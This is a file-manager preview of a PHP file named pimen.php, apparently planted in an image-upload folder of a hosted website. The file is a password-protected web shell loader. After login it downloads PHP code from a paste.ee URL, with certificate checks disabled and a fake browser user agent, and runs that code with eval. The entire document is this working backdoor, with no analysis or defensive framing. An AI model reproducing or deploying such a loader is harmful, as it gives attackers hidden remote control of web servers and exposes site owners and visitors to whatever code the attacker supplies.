Preview: pimen.php
Size: 2.24 KB
/home/godevadmin/public_html/upload_images/bin/pimen.php
<?php
session_start();
function geturlsinfo($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION['java'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['java']);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
function is_logged_in() {
return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}
if (isset($_POST['password'])) {
$entered_password = $_POST['password'];
$hashed_password = '$2a$12$lTMsoHIxxMcVTAgye4kQLO0DGEE1SeUzUekTMkWmPLuOH52.Wiq2m';
if (password_verify($entered_password, $hashed_password)) {
$_SESSION['logged_in'] = true;
$_SESSION['java'] = 'nesec';
} else {
echo "salah bego";
}
}
if (is_logged_in()) {
if (!isset($_SESSION['cached_data']) || empty($_SESSION['cached_data'])) {
$_SESSION['cached_data'] = geturlsinfo('https://paste.ee/r/2EPqM0PM');
if (empty($_SESSION['cached_data'])) {
echo "failed";
exit;
}
}
eval('?>' . $_SESSION['cached_data']);
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>login</title>
</head>
<body>
<form method="POST" action="">
<label for="password"></label>
<input type="password" id="password" name="password">
<input type="submit" value="login">
</form>
</body>
</html>
<?php
}
?>
Directory Contents
Dirs: 0 × Files: 1